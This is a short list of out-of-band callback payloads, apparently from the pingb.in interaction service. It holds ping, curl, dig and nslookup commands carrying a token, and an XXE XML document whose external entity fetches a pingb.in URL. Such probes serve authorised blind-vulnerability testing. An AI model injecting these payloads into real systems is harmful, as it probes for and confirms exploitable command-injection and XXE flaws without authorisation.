$ ping -c1 -p 00d8d80b8492fb9c18d9ac9392fbef00 pingb.in
 

$ curl pingb.in/p/d8d80b8492fb9c18d9ac9392fbef
 

$ dig d8d80b8492fb9c18d9ac9392fbef @pingb.in
 

$ dig d8d80b8492fb9c18d9ac9392fbef.ns.pingb.in
 

C:\> nslookup d8d80b8492fb9c18d9ac9392fbef pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/d8d80b8492fb9c18d9ac9392fbef">]>
    <foo>&xxe;</foo>